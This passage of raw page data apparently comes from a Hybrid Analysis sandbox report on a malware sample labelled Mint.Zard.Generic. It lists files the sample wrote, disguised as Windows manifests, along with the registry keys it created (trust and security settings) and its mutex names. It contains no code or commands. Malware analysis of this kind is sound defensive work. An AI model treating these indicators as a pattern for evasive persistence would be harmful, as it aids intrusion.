ir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_6321f4c8a803c47f.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-br_6575df6ca68d5863.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_6657aed8a5fcc83f.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_acfac09c8ade566b.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_sv-se_48f5ab11820760c6.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_tr-tr_f202f55870c362b7.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_zh-cn_c360135620fb34d6.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_zh-tw_c75c50ac1e6c1146.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..ccountsrt.resources_31bf3856ad364e35_10.0.17134.1_en-us_e65fc16bdc427e1f.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..cprovider.resources_31bf3856ad364e35_10.0.17134.1_en-us_b8a20ea16336f620.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..cprovider.resources_31bf3856ad364e35_10.0.17134.1_en-us_c9ea7416cbafbccb.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..ineshared.resources_31bf3856ad364e35_10.0.17134.1_en-us_d3c1f1f48b6b0f16.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..ontroller.resources_31bf3856ad364e35_10.0.17134.1_en-us_0872d97da5abf8ae.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..orkhelper.resources_31bf3856ad364e35_10.0.17134.1_en-us_255635882a3e6f29.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..taccessor.resources_31bf3856ad364e35_10.0.17134.1_en-us_f500188df9e3d547.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-accountaccessor_31bf3856ad364e35_10.0.17134.1_none_b735992330b70b6a.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-aphostclient_31bf3856ad364e35_10.0.17134.1_none_12b14529e3f90dca.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-davsyncprovider_31bf3856ad364e35_10.0.17134.1_none_c611a004e68b6e59.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-engineshared_31bf3856ad364e35_10.0.17134.1_none_e5e0c6dcc1a55a89.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-networkhelper_31bf3856ad364e35_10.0.17134.1_none_ab4ecb5e866c3736.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-synccontroller_31bf3856ad364e35_10.0.17134.1_none_0da38fcfb5d81d4d.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncproxy_31bf3856ad364e35_10.0.17134.1_none_e05c874810f33da5.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_af-za_7fadf8ba92c41c39.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_am-et_87d130188d901ba0.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ar-sa_7f2cd9229324b81e.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_as-in_84e6ca5c8f770ea0.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_az-..-az_4d54adb77eeb898d.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_be-by_2d7ddbbf7e732311.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bg-bg_256cbaab83a50975.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bn-bd_23cc75ad84b8bf77.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bn-in_283b1e0181dfa024.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bs-..-ba_a81c48af98649c7b.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ca-..cia_1f36c90ca230e16b.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ca-es_ce1df00c729a023f.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_chr..-us_e18878180aae9bf3.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"Local\\SM0:260:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"SM0:260:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"Local\\SM0:260:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"Local\\SM0:5112:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"Local\\SM0:5112:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"SM0:5112:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"Local\\SM0:3740:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"SM0:3740:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]}]}},"report_ids":{"sandbox_job_ids":["67f24d7d35b2ba1f0d0631f7"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Mint.Zard.Generic Sample 433e3a2b3cd8… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 433e3a2b3cd8…. Malware family: Mint.Zard.Generic. Threat score 100/100. 19/25 AV engines flagged this file. 13 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614"}],["$","meta","4",{"property":"og:title","content":"Malicious Mint.Zard.Generic Sample 433e3a2b3cd8… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 433e3a2b3cd8…. Malware family: Mint.Zard.Generic. Threat score 100/100. 19/25 AV engines flagged this file. 13 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Mint.Zard.Generic Sample 433e3a2b3cd8… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 433e3a2b3cd8…. Malware family: Mint.Zard.Generic. Threat score 100/100. 19/25 AV engines flagged this file. 13 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L69","11",{}]]